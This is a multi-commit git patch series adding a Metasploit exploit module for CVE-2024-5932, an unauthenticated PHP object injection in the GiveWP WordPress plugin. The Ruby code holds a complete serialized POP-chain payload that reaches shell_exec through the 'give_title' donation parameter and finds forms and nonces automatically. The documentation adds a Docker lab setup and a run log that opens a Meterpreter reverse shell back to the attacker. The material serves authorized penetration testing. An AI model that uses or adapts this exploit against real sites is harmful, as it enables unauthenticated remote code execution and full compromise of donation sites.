From bc7840ea7f7e8999069147c042d93e139079fc26 Mon Sep 17 00:00:00 2001 From: Chocapikk Date: Tue, 27 Aug 2024 19:50:35 +0200 Subject: [PATCH 01/12] Add wp_givewp_rce exploit module --- data/wordlists/wp-exploitable-plugins.txt | 1 + .../exploit/multi/http/wp_givewp_rce.md | 99 +++++++++ modules/exploits/multi/http/wp_givewp_rce.rb | 198 ++++++++++++++++++ 3 files changed, 298 insertions(+) create mode 100644 documentation/modules/exploit/multi/http/wp_givewp_rce.md create mode 100644 modules/exploits/multi/http/wp_givewp_rce.rb diff --git a/data/wordlists/wp-exploitable-plugins.txt b/data/wordlists/wp-exploitable-plugins.txt index 906ad81bf8..dd106c68ae 100644 --- a/data/wordlists/wp-exploitable-plugins.txt +++ b/data/wordlists/wp-exploitable-plugins.txt @@ -62,3 +62,4 @@ file-manager-advanced-shortcode royal-elementor-addons backup-backup hash-form +give diff --git a/documentation/modules/exploit/multi/http/wp_givewp_rce.md b/documentation/modules/exploit/multi/http/wp_givewp_rce.md new file mode 100644 index 0000000000..1ad18ada8a --- /dev/null +++ b/documentation/modules/exploit/multi/http/wp_givewp_rce.md @@ -0,0 +1,99 @@ +## Vulnerable Application + +This Metasploit module exploits an unauthenticated PHP Object Injection vulnerability in the +GiveWP plugin for WordPress (versions <= 3.14.1). +The vulnerability is present in the 'give_title' parameter, allowing attackers to inject a crafted +PHP object that can lead to remote code execution (RCE) when combined with a suitable POP chain. + +## Setup + +1. **Docker Compose Setup**: Use the following `docker-compose.yml` file to set up a vulnerable WordPress environment. + +```yaml +services: + db: + image: mysql:8.0.27 + command: '--default-authentication-plugin=mysql_native_password' + restart: always + environment: + - MYSQL_ROOT_PASSWORD=somewordpress + - MYSQL_DATABASE=wordpress + - MYSQL_USER=wordpress + - MYSQL_PASSWORD=wordpress + expose: + - 3306 + - 33060 + + wordpress: + image: wordpress:6.3.2 + ports: + - "80:80" + restart: always + environment: + - WORDPRESS_DB_HOST=db + - WORDPRESS_DB_USER=wordpress + - WORDPRESS_DB_PASSWORD=wordpress + - WORDPRESS_DB_NAME=wordpress +volumes: + db_data: +``` + +2. **Download and Install Vulnerable GiveWP Plugin**: +- Download the plugin: [GiveWP 3.14.1](https://downloads.wordpress.org/plugin/give.3.14.1.zip) +- Unzip the plugin and copy it to the Docker container: +```bash +docker cp give docker-wordpress-1:/var/www/html/wp-content/plugins +``` +- Access the WordPress instance at `http://localhost` and activate the GiveWP plugin via the admin dashboard. + +3. **Create a Donation Form**: +- Create a new post and use the GiveWP plugin to add a donation form. Note the post URL for use in the exploit. + +## Options + +No specific options need to be configured. + +## Verification Steps + +1. Start `msfconsole`. +2. Use the module with `use exploit/multi/http/wp_givewp_rce`. +3. Set `RHOSTS`, `RPORT`, and the necessary WordPress-specific options. +4. Run the exploit. +5. Gain a Meterpreter session. + +## Scenarios + +### GiveWP Plugin version: 3.14.1 (Dockerized WordPress Version 6.3.2) + +Using `cmd/linux/http/x64/meterpreter/reverse_tcp`: + +```bash +msf6 exploit(multi/http/wp_givewp_rce) > run http://127.0.0.1:8888 + +[*] Started reverse TCP handler on 192.168.1.36:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[*] WordPress Version: 6.3.2 +[+] Detected GiveWP Plugin version: 3.14.1 +[+] The target appears to be vulnerable. +[+] Successfully connected to the GiveWP API. +[*] Analyzing Form ID: 13 +[+] Form ID: 13 has required fields. +[*] Analyzing Form ID: 10 +[-] Form ID: 10 does not contain all required fields. +[*] Analyzing Form ID: 8 +[-] Form ID: 8 does not contain all required fields. +[*] Sending exploit payload... +[*] Sending stage (3045380 bytes) to 172.24.0.3 +[*] Meterpreter session 60 opened (192.168.1.36:4444 -> 172.24.0.3:59102) at 2024-08-27 19:24:44 +0200 + +meterpreter > sysinfo +Computer : 172.24.0.3 +OS : Debian 11.8 (Linux 5.15.0-119-generic) +Architecture : x64 +BuildTuple : x86_64-linux-musl +Meterpreter : x64/linux +``` + +### Notes: +- The exploitation is successful only against legacy donation forms within GiveWP. +Be sure to configure and test legacy forms to verify the vulnerability effectively. diff --git a/modules/exploits/multi/http/wp_givewp_rce.rb b/modules/exploits/multi/http/wp_givewp_rce.rb new file mode 100644 index 0000000000..ff1e3e20f5 --- /dev/null +++ b/modules/exploits/multi/http/wp_givewp_rce.rb @@ -0,0 +1,198 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::Remote::HTTP::Wordpress + prepend Msf::Exploit::Remote::AutoCheck + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'GiveWP Unauthenticated Donation Process Exploit', + 'Description' => %q{ + The GiveWP Donation Plugin and Fundraising Platform plugin for WordPress is vulnerable to a PHP Object Injection (POI) attack. + This vulnerability exists in all versions up to and including 3.14.1 due to improper handling of untrusted input in the 'give_title' parameter. + The flaw allows unauthenticated attackers to inject a PHP object via the deserialization of this parameter. + Exploiting this vulnerability can lead to arbitrary code execution, as the PHP Object Injection is leveraged to trigger a chain of property-oriented programming (POP) that facilitates remote code execution (RCE). + Additionally, the attacker may gain the ability to delete arbitrary files on the affected server. + This module interacts with the vulnerable endpoint by exploiting this weakness to execute arbitrary code on the server, potentially leading to full server compromise. + }, + + 'License' => MSF_LICENSE, + 'Author' => [ + 'Villu Orav', # Initial Discovery + 'Valentin Lobstein', # Metasploit Module + 'EQSTSeminar', # Proof of Concept + ], + 'References' => [ + ['CVE', '2024-5932'], + ['URL', 'https://github.com/EQSTSeminar/CVE-2024-5932'], + ['URL', 'https://www.rcesecurity.com/2024/08/wordpress-givewp-pop-to-rce-cve-2024-5932'], + ['URL', 'https://www.wordfence.com/blog/2024/08/4998-bounty-awarded-and-100000-wordpress-sites-protected-against-unauthenticated-remote-code-execution-vulnerability-patched-in-givewp-wordpress-plugin'] + ], + 'DisclosureDate' => '2024-08-25', + 'Platform' => %w[unix linux win], + 'Arch' => [ARCH_CMD], + 'Privileged' => false, + 'Targets' => [ + [ + 'Unix/Linux Command Shell', + { + 'Platform' => %w[unix linux], + 'Arch' => ARCH_CMD + } + ], + [ + 'Windows Command Shell', + { + 'Platform' => 'win', + 'Arch' => ARCH_CMD + } + ] + ], + 'DefaultTarget' => 0, + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'Reliability' => [REPEATABLE_SESSION], + 'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK] + } + ) + ) + end + + def check + return CheckCode::Unknown unless wordpress_and_online? + + wp_version = wordpress_version + print_status("WordPress Version: #{wp_version}") if wp_version + + check_code = check_plugin_version_from_readme('give', '3.14.2') + + if check_code.code != 'appears' + return CheckCode::Safe + end + + plugin_version = check_code.details[:version] + print_good("Detected GiveWP Plugin version: #{plugin_version}") + CheckCode::Appears + end + + def exploit + forms = connect_to_api + + if forms + valid_forms = parse_forms(forms) + + send_exploit_requests(valid_forms) + else + fail_with(Failure::UnexpectedReply, 'Failed to connect to the GiveWP API.') + end + end + + def connect_to_api + res = send_request_cgi( + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, '?give-api=v1/forms') + ) + + print_good('Successfully connected to the GiveWP API.') if res&.code == 200 + print_error('Failed to connect to the GiveWP API.') unless res&.code == 200 + + JSON.parse(res.body)['forms'] if res&.code == 200 + end + + def parse_forms(forms) + forms.each_with_object([]) do |form, valid_forms| + form_id = form.dig('info', 'id') + print_status("Analyzing Form ID: #{form_id}") + + form_data = retrieve_and_analyze_form(form_id) + + print_good("Form ID: #{form_id} has required fields.") if form_data + print_error("Form ID: #{form_id} does not contain all required fields.") unless form_data + + valid_forms << form_data if form_data + end + end + + def retrieve_and_analyze_form(form_id) + form_res = send_request_cgi( + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, "?post_type=give_forms&p=#{form_id}") + ) + + return nil unless form_res&.code == 200 + + doc = Nokogiri::HTML(form_res.body) + give_form_id = doc.at_xpath('//input[@name="give-form-id"]/@value')&.text + give_form_hash = doc.at_xpath('//input[@name="give-form-hash"]/@value')&.text + button_tag = doc.at_xpath('//button[@data-price-id]') + + return nil unless give_form_id && give_form_hash && button_tag + + give_price_id = button_tag['data-price-id'] + give_amount = button_tag.text.strip + + { + 'give_form_id' => give_form_id, + 'give_form_hash' => give_form_hash, + 'give_price_id' => give_price_id, + 'give_amount' => give_amount + } + end + + def send_exploit_requests(valid_forms) + print_status('Sending exploit payload...') + valid_forms.each do |form_data| + send_exploit_request( + form_data['give_form_id'], + form_data['give_form_hash'], + form_data['give_price_id'], + form_data['give_amount'] + ) + end + end + + def send_exploit_request(give_form_id, give_form_hash, give_price_id, give_amount) + final_payload = format( + 'O:19:"Stripe\\\\\\\\StripeObject":1:{s:10:"\\0*\\0_values";a:1:{s:3:"foo";' \ + 'O:62:"Give\\\\\\\\PaymentGateways\\\\\\\\DataTransferObjects\\\\\\\\GiveInsertPaymentData":1:{' \ + 's:8:"userInfo";a:1:{s:7:"address";O:4:"Give":1:{s:12:"\\0*\\0container";' \ + 'O:33:"Give\\\\\\\\Vendors\\\\\\\\Faker\\\\\\\\ValidGenerator":3:{s:12:"\\0*\\0validator";' \ + 's:10:"shell_exec";s:12:"\\0*\\0generator";' \ + 'O:34:"Give\\\\\\\\Onboarding\\\\\\\\SettingsRepository":1:{' \ + 's:11:"\\0*\\0settings";a:1:{s:8:"address1";s:%d:"%s";}}' \ + 's:13:"\\0*\\0maxRetries";i:10;}}}}}}', + length: payload.encoded.length, + encoded: payload.encoded + ) + + data = { + 'give-form-id' => give_form_id, + 'give-form-hash' => give_form_hash, + 'give-price-id' => give_price_id, + 'give-amount' => give_amount, + 'give_first' => Faker::Name.first_name, + 'give_last' => Faker::Name.last_name, + 'give_email' => Faker::Internet.email, + 'give_title' => final_payload, + 'give-gateway' => 'offline', + 'action' => 'give_process_donation' + } + + send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'wp-admin/admin-ajax.php'), + 'headers' => { + 'Content-Type' => 'application/x-www-form-urlencoded; charset=UTF-8' + }, + 'data' => URI.encode_www_form(data) + }) + end +end From d24971148029737e174267c37a599610ecb0e513 Mon Sep 17 00:00:00 2001 From: Chocapikk Date: Tue, 27 Aug 2024 20:27:46 +0200 Subject: [PATCH 02/12] Update doc --- documentation/modules/exploit/multi/http/wp_givewp_rce.md | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/documentation/modules/exploit/multi/http/wp_givewp_rce.md b/documentation/modules/exploit/multi/http/wp_givewp_rce.md index 1ad18ada8a..713f3a460e 100644 --- a/documentation/modules/exploit/multi/http/wp_givewp_rce.md +++ b/documentation/modules/exploit/multi/http/wp_givewp_rce.md @@ -47,7 +47,9 @@ docker cp give docker-wordpress-1:/var/www/html/wp-content/plugins - Access the WordPress instance at `http://localhost` and activate the GiveWP plugin via the admin dashboard. 3. **Create a Donation Form**: -- Create a new post and use the GiveWP plugin to add a donation form. Note the post URL for use in the exploit. + - Navigate to the "Forms" section within the GiveWP plugin and click on "Add Form." + - Select the Legacy Form option, as this is the one confirmed to work with the exploit. + - Configure the form as needed, publish it. ## Options From 23cd137fbde5a6f5acd7419247046512401c1da2 Mon Sep 17 00:00:00 2001 From: Chocapikk Date: Tue, 27 Aug 2024 20:28:44 +0200 Subject: [PATCH 03/12] Update module --- modules/exploits/multi/http/wp_givewp_rce.rb | 5 +---- 1 file changed, 1 insertion(+), 4 deletions(-) diff --git a/modules/exploits/multi/http/wp_givewp_rce.rb b/modules/exploits/multi/http/wp_givewp_rce.rb index ff1e3e20f5..5e5c3d6f41 100644 --- a/modules/exploits/multi/http/wp_givewp_rce.rb +++ b/modules/exploits/multi/http/wp_givewp_rce.rb @@ -188,10 +188,7 @@ class MetasploitModule < Msf::Exploit::Remote send_request_cgi({ 'method' => 'POST', - 'uri' => normalize_uri(target_uri.path, 'wp-admin/admin-ajax.php'), - 'headers' => { - 'Content-Type' => 'application/x-www-form-urlencoded; charset=UTF-8' - }, + 'uri' => normalize_uri(target_uri.path, 'wp-admin', 'admin-ajax.php'), 'data' => URI.encode_www_form(data) }) end From 80c784f0e8f579809cd7257fea5231a981be0afb Mon Sep 17 00:00:00 2001 From: Chocapikk Date: Tue, 27 Aug 2024 21:07:18 +0200 Subject: [PATCH 04/12] Update detail about payloads --- modules/exploits/multi/http/wp_givewp_rce.rb | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/modules/exploits/multi/http/wp_givewp_rce.rb b/modules/exploits/multi/http/wp_givewp_rce.rb index 5e5c3d6f41..094612458e 100644 --- a/modules/exploits/multi/http/wp_givewp_rce.rb +++ b/modules/exploits/multi/http/wp_givewp_rce.rb @@ -46,6 +46,7 @@ class MetasploitModule < Msf::Exploit::Remote { 'Platform' => %w[unix linux], 'Arch' => ARCH_CMD + # tested with cmd/linux/http/x64/meterpreter/reverse_tcp } ], [ @@ -53,6 +54,7 @@ class MetasploitModule < Msf::Exploit::Remote { 'Platform' => 'win', 'Arch' => ARCH_CMD + # tested with cmd/windows/http/x64/meterpreter/reverse_tcp } ] ], @@ -192,4 +194,4 @@ class MetasploitModule < Msf::Exploit::Remote 'data' => URI.encode_www_form(data) }) end -end +end \ No newline at end of file From 7f377313964e7417ce0cc416eb94945f4ab1c54f Mon Sep 17 00:00:00 2001 From: Chocapikk Date: Tue, 27 Aug 2024 21:14:35 +0200 Subject: [PATCH 05/12] Lint --- modules/exploits/multi/http/wp_givewp_rce.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/multi/http/wp_givewp_rce.rb b/modules/exploits/multi/http/wp_givewp_rce.rb index 094612458e..a06fcf047f 100644 --- a/modules/exploits/multi/http/wp_givewp_rce.rb +++ b/modules/exploits/multi/http/wp_givewp_rce.rb @@ -194,4 +194,4 @@ class MetasploitModule < Msf::Exploit::Remote 'data' => URI.encode_www_form(data) }) end -end \ No newline at end of file +end From 1d7cffbdacc30ade3d72f3eb312247e4d382493d Mon Sep 17 00:00:00 2001 From: Chocapikk Date: Tue, 27 Aug 2024 22:15:12 +0200 Subject: [PATCH 06/12] Refactored exploit module based on RCESecurity's analysis of CVE-2024-5932 - Completely overhauled the method for exploiting the GiveWP plugin by removing dependency on the REST API, which may require authentication. - Instead, we now use the admin-ajax.php endpoint for retrieving form lists and nonce values, ensuring compatibility even when REST API authentication is required. - The exploit now works with all form types; however, the give_price_id and give_amount must be set to '0' and '0.00', respectively, as attempts to randomize these values caused the exploit to fail. --- .../exploit/multi/http/wp_givewp_rce.md | 20 ++-- modules/exploits/multi/http/wp_givewp_rce.rb | 94 +++++++------------ 2 files changed, 42 insertions(+), 72 deletions(-) diff --git a/documentation/modules/exploit/multi/http/wp_givewp_rce.md b/documentation/modules/exploit/multi/http/wp_givewp_rce.md index 713f3a460e..efa29f22b9 100644 --- a/documentation/modules/exploit/multi/http/wp_givewp_rce.md +++ b/documentation/modules/exploit/multi/http/wp_givewp_rce.md @@ -48,7 +48,7 @@ docker cp give docker-wordpress-1:/var/www/html/wp-content/plugins 3. **Create a Donation Form**: - Navigate to the "Forms" section within the GiveWP plugin and click on "Add Form." - - Select the Legacy Form option, as this is the one confirmed to work with the exploit. + - Select the any form. - Configure the form as needed, publish it. ## Options @@ -70,6 +70,8 @@ No specific options need to be configured. Using `cmd/linux/http/x64/meterpreter/reverse_tcp`: ```bash +msf6 > use exploit/multi/http/wp_givewp_rce +[*] No payload configured, defaulting to cmd/linux/http/x64/meterpreter/reverse_tcp msf6 exploit(multi/http/wp_givewp_rce) > run http://127.0.0.1:8888 [*] Started reverse TCP handler on 192.168.1.36:4444 @@ -77,16 +79,10 @@ msf6 exploit(multi/http/wp_givewp_rce) > run http://127.0.0.1:8888 [*] WordPress Version: 6.3.2 [+] Detected GiveWP Plugin version: 3.14.1 [+] The target appears to be vulnerable. -[+] Successfully connected to the GiveWP API. -[*] Analyzing Form ID: 13 -[+] Form ID: 13 has required fields. -[*] Analyzing Form ID: 10 -[-] Form ID: 10 does not contain all required fields. -[*] Analyzing Form ID: 8 -[-] Form ID: 8 does not contain all required fields. -[*] Sending exploit payload... +[+] Successfully retrieved form list. Available Form IDs: 8, 10, 13 +[*] Using Form ID: 13 for exploitation. [*] Sending stage (3045380 bytes) to 172.24.0.3 -[*] Meterpreter session 60 opened (192.168.1.36:4444 -> 172.24.0.3:59102) at 2024-08-27 19:24:44 +0200 +[*] Meterpreter session 1 opened (192.168.1.36:4444 -> 172.24.0.3:51272) at 2024-08-27 22:11:22 +0200 meterpreter > sysinfo Computer : 172.24.0.3 @@ -95,7 +91,3 @@ Architecture : x64 BuildTuple : x86_64-linux-musl Meterpreter : x64/linux ``` - -### Notes: -- The exploitation is successful only against legacy donation forms within GiveWP. -Be sure to configure and test legacy forms to verify the vulnerability effectively. diff --git a/modules/exploits/multi/http/wp_givewp_rce.rb b/modules/exploits/multi/http/wp_givewp_rce.rb index a06fcf047f..dbadb2aaba 100644 --- a/modules/exploits/multi/http/wp_givewp_rce.rb +++ b/modules/exploits/multi/http/wp_givewp_rce.rb @@ -71,75 +71,65 @@ class MetasploitModule < Msf::Exploit::Remote def check return CheckCode::Unknown unless wordpress_and_online? - wp_version = wordpress_version - print_status("WordPress Version: #{wp_version}") if wp_version - + print_status("WordPress Version: #{wordpress_version}") if wordpress_version check_code = check_plugin_version_from_readme('give', '3.14.2') + return CheckCode::Safe unless check_code.code == 'appears' - if check_code.code != 'appears' - return CheckCode::Safe - end - - plugin_version = check_code.details[:version] - print_good("Detected GiveWP Plugin version: #{plugin_version}") + print_good("Detected GiveWP Plugin version: #{check_code.details[:version]}") CheckCode::Appears end def exploit - forms = connect_to_api + forms = fetch_form_list + fail_with(Failure::UnexpectedReply, 'No forms found.') if forms.empty? - if forms - valid_forms = parse_forms(forms) + selected_form = forms.sample + valid_form = retrieve_and_analyze_form(selected_form['id']) - send_exploit_requests(valid_forms) - else - fail_with(Failure::UnexpectedReply, 'Failed to connect to the GiveWP API.') - end + return print_error('Failed to retrieve a valid form for exploitation.') unless valid_form + + print_status("Using Form ID: #{valid_form['give_form_id']} for exploitation.") + send_exploit_request( + valid_form['give_form_id'], + valid_form['give_form_hash'], + valid_form['give_price_id'], + valid_form['give_amount'] + ) end - def connect_to_api + def fetch_form_list res = send_request_cgi( - 'method' => 'GET', - 'uri' => normalize_uri(target_uri.path, '?give-api=v1/forms') + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'wp-admin', 'admin-ajax.php'), + 'data' => 'action=give_form_search' ) - print_good('Successfully connected to the GiveWP API.') if res&.code == 200 - print_error('Failed to connect to the GiveWP API.') unless res&.code == 200 + return print_error('Failed to retrieve form list.') unless res&.code == 200 - JSON.parse(res.body)['forms'] if res&.code == 200 - end + forms = JSON.parse(res.body) + form_ids = forms.map { |form| form['id'] }.sort - def parse_forms(forms) - forms.each_with_object([]) do |form, valid_forms| - form_id = form.dig('info', 'id') - print_status("Analyzing Form ID: #{form_id}") - - form_data = retrieve_and_analyze_form(form_id) - - print_good("Form ID: #{form_id} has required fields.") if form_data - print_error("Form ID: #{form_id} does not contain all required fields.") unless form_data - - valid_forms << form_data if form_data - end + print_good("Successfully retrieved form list. Available Form IDs: #{form_ids.join(', ')}") + forms end def retrieve_and_analyze_form(form_id) form_res = send_request_cgi( - 'method' => 'GET', - 'uri' => normalize_uri(target_uri.path, "?post_type=give_forms&p=#{form_id}") + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'wp-admin', 'admin-ajax.php'), + 'vars_post' => { 'action' => 'give_donation_form_nonce', 'give_form_id' => form_id } ) - return nil unless form_res&.code == 200 + return unless form_res&.code == 200 - doc = Nokogiri::HTML(form_res.body) - give_form_id = doc.at_xpath('//input[@name="give-form-id"]/@value')&.text - give_form_hash = doc.at_xpath('//input[@name="give-form-hash"]/@value')&.text - button_tag = doc.at_xpath('//button[@data-price-id]') + form_data = JSON.parse(form_res.body) + give_form_id = form_id + give_form_hash = form_data['data'] + give_price_id = '0' + give_amount = '$10.00' + # Somehow, can't randomize give_price_id and give_amount otherwise the exploit won't work. - return nil unless give_form_id && give_form_hash && button_tag - - give_price_id = button_tag['data-price-id'] - give_amount = button_tag.text.strip + return unless give_form_hash { 'give_form_id' => give_form_id, @@ -149,18 +139,6 @@ class MetasploitModule < Msf::Exploit::Remote } end - def send_exploit_requests(valid_forms) - print_status('Sending exploit payload...') - valid_forms.each do |form_data| - send_exploit_request( - form_data['give_form_id'], - form_data['give_form_hash'], - form_data['give_price_id'], - form_data['give_amount'] - ) - end - end - def send_exploit_request(give_form_id, give_form_hash, give_price_id, give_amount) final_payload = format( 'O:19:"Stripe\\\\\\\\StripeObject":1:{s:10:"\\0*\\0_values";a:1:{s:3:"foo";' \ From 06a9583cfd32d0aa0530f31b8b08e8d668f05717 Mon Sep 17 00:00:00 2001 From: Chocapikk Date: Tue, 27 Aug 2024 22:16:11 +0200 Subject: [PATCH 07/12] Fix typo --- documentation/modules/exploit/multi/http/wp_givewp_rce.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/documentation/modules/exploit/multi/http/wp_givewp_rce.md b/documentation/modules/exploit/multi/http/wp_givewp_rce.md index efa29f22b9..d3f8018fa7 100644 --- a/documentation/modules/exploit/multi/http/wp_givewp_rce.md +++ b/documentation/modules/exploit/multi/http/wp_givewp_rce.md @@ -48,7 +48,7 @@ docker cp give docker-wordpress-1:/var/www/html/wp-content/plugins 3. **Create a Donation Form**: - Navigate to the "Forms" section within the GiveWP plugin and click on "Add Form." - - Select the any form. + - Select any form. - Configure the form as needed, publish it. ## Options From 57343d3bc421f0af5cd90ed787bd0cc2e194f8e0 Mon Sep 17 00:00:00 2001 From: Valentin Lobstein <88535377+Chocapikk@users.noreply.github.com> Date: Wed, 28 Aug 2024 13:00:20 +0200 Subject: [PATCH 08/12] Update modules/exploits/multi/http/wp_givewp_rce.rb Co-authored-by: Julien Voisin --- modules/exploits/multi/http/wp_givewp_rce.rb | 7 +------ 1 file changed, 1 insertion(+), 6 deletions(-) diff --git a/modules/exploits/multi/http/wp_givewp_rce.rb b/modules/exploits/multi/http/wp_givewp_rce.rb index dbadb2aaba..33f0ce33d5 100644 --- a/modules/exploits/multi/http/wp_givewp_rce.rb +++ b/modules/exploits/multi/http/wp_givewp_rce.rb @@ -16,12 +16,7 @@ class MetasploitModule < Msf::Exploit::Remote info, 'Name' => 'GiveWP Unauthenticated Donation Process Exploit', 'Description' => %q{ - The GiveWP Donation Plugin and Fundraising Platform plugin for WordPress is vulnerable to a PHP Object Injection (POI) attack. - This vulnerability exists in all versions up to and including 3.14.1 due to improper handling of untrusted input in the 'give_title' parameter. - The flaw allows unauthenticated attackers to inject a PHP object via the deserialization of this parameter. - Exploiting this vulnerability can lead to arbitrary code execution, as the PHP Object Injection is leveraged to trigger a chain of property-oriented programming (POP) that facilitates remote code execution (RCE). - Additionally, the attacker may gain the ability to delete arbitrary files on the affected server. - This module interacts with the vulnerable endpoint by exploiting this weakness to execute arbitrary code on the server, potentially leading to full server compromise. + The GiveWP Donation Plugin and Fundraising Platform plugin for WordPress in all versions up to and including 3.14.1 is vulnerable to a PHP Object Injection (POI) attack granting an unauthenticated arbitrary code execution. }, 'License' => MSF_LICENSE, From 2900d45e9f5ded80929ddbbf1c6920782d39f28d Mon Sep 17 00:00:00 2001 From: Valentin Lobstein <88535377+Chocapikk@users.noreply.github.com> Date: Wed, 28 Aug 2024 13:00:32 +0200 Subject: [PATCH 09/12] Update documentation/modules/exploit/multi/http/wp_givewp_rce.md Co-authored-by: Julien Voisin --- documentation/modules/exploit/multi/http/wp_givewp_rce.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/documentation/modules/exploit/multi/http/wp_givewp_rce.md b/documentation/modules/exploit/multi/http/wp_givewp_rce.md index d3f8018fa7..32b9f212a8 100644 --- a/documentation/modules/exploit/multi/http/wp_givewp_rce.md +++ b/documentation/modules/exploit/multi/http/wp_givewp_rce.md @@ -3,7 +3,7 @@ This Metasploit module exploits an unauthenticated PHP Object Injection vulnerability in the GiveWP plugin for WordPress (versions <= 3.14.1). The vulnerability is present in the 'give_title' parameter, allowing attackers to inject a crafted -PHP object that can lead to remote code execution (RCE) when combined with a suitable POP chain. +PHP object leading to remote code execution (RCE) when combined with a suitable POP chain. ## Setup From 6bec3d2db043b806d276f7116d1ddbded5a14e7b Mon Sep 17 00:00:00 2001 From: Chocapikk Date: Wed, 28 Aug 2024 19:16:26 +0200 Subject: [PATCH 10/12] Lint --- modules/exploits/multi/http/wp_givewp_rce.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/multi/http/wp_givewp_rce.rb b/modules/exploits/multi/http/wp_givewp_rce.rb index 33f0ce33d5..7bc4cad1f5 100644 --- a/modules/exploits/multi/http/wp_givewp_rce.rb +++ b/modules/exploits/multi/http/wp_givewp_rce.rb @@ -16,7 +16,7 @@ class MetasploitModule < Msf::Exploit::Remote info, 'Name' => 'GiveWP Unauthenticated Donation Process Exploit', 'Description' => %q{ - The GiveWP Donation Plugin and Fundraising Platform plugin for WordPress in all versions up to and including 3.14.1 is vulnerable to a PHP Object Injection (POI) attack granting an unauthenticated arbitrary code execution. + The GiveWP Donation Plugin and Fundraising Platform plugin for WordPress in all versions up to and including 3.14.1 is vulnerable to a PHP Object Injection (POI) attack granting an unauthenticated arbitrary code execution. }, 'License' => MSF_LICENSE, From 9eb630d993a4777386c1d77d5a0bf473bd1773e8 Mon Sep 17 00:00:00 2001 From: Chocapikk Date: Wed, 28 Aug 2024 19:20:32 +0200 Subject: [PATCH 11/12] Add credit --- modules/exploits/multi/http/wp_givewp_rce.rb | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/modules/exploits/multi/http/wp_givewp_rce.rb b/modules/exploits/multi/http/wp_givewp_rce.rb index 7bc4cad1f5..2b24d6bb23 100644 --- a/modules/exploits/multi/http/wp_givewp_rce.rb +++ b/modules/exploits/multi/http/wp_givewp_rce.rb @@ -22,8 +22,9 @@ class MetasploitModule < Msf::Exploit::Remote 'License' => MSF_LICENSE, 'Author' => [ 'Villu Orav', # Initial Discovery - 'Valentin Lobstein', # Metasploit Module 'EQSTSeminar', # Proof of Concept + 'Julien Ahrens', # Vulnerability Analysis + 'Valentin Lobstein' # Metasploit Module ], 'References' => [ ['CVE', '2024-5932'], From 71ee98707963da9a4f5f4f822929f729049c9001 Mon Sep 17 00:00:00 2001 From: adfoster-r7 <60357436+adfoster-r7@users.noreply.github.com> Date: Wed, 28 Aug 2024 19:21:27 +0100 Subject: [PATCH 12/12] Add additional documentation steps, and use 0 for the payload http timeout --- .../modules/exploit/multi/http/wp_givewp_rce.md | 11 ++++++----- modules/exploits/multi/http/wp_givewp_rce.rb | 2 +- 2 files changed, 7 insertions(+), 6 deletions(-) diff --git a/documentation/modules/exploit/multi/http/wp_givewp_rce.md b/documentation/modules/exploit/multi/http/wp_givewp_rce.md index 32b9f212a8..29b456ed84 100644 --- a/documentation/modules/exploit/multi/http/wp_givewp_rce.md +++ b/documentation/modules/exploit/multi/http/wp_givewp_rce.md @@ -7,7 +7,7 @@ PHP object leading to remote code execution (RCE) when combined with a suitable ## Setup -1. **Docker Compose Setup**: Use the following `docker-compose.yml` file to set up a vulnerable WordPress environment. +1. **Docker Compose Setup**: Create the following `docker-compose.yml` file to set up a vulnerable WordPress environment: ```yaml services: @@ -37,16 +37,17 @@ services: volumes: db_data: ``` - -2. **Download and Install Vulnerable GiveWP Plugin**: +1. Run Docker: `docker compose up` +1. Access the WordPress instance at `http://127.0.0.1` and complete the installation process +1. **Download and Install Vulnerable GiveWP Plugin**: - Download the plugin: [GiveWP 3.14.1](https://downloads.wordpress.org/plugin/give.3.14.1.zip) - Unzip the plugin and copy it to the Docker container: ```bash -docker cp give docker-wordpress-1:/var/www/html/wp-content/plugins +docker compose cp give wordpress:/var/www/html/wp-content/plugins ``` - Access the WordPress instance at `http://localhost` and activate the GiveWP plugin via the admin dashboard. -3. **Create a Donation Form**: +1. **Create a Donation Form**: - Navigate to the "Forms" section within the GiveWP plugin and click on "Add Form." - Select any form. - Configure the form as needed, publish it. diff --git a/modules/exploits/multi/http/wp_givewp_rce.rb b/modules/exploits/multi/http/wp_givewp_rce.rb index 2b24d6bb23..751b0c2e24 100644 --- a/modules/exploits/multi/http/wp_givewp_rce.rb +++ b/modules/exploits/multi/http/wp_givewp_rce.rb @@ -166,6 +166,6 @@ class MetasploitModule < Msf::Exploit::Remote 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'wp-admin', 'admin-ajax.php'), 'data' => URI.encode_www_form(data) - }) + }, 0) end end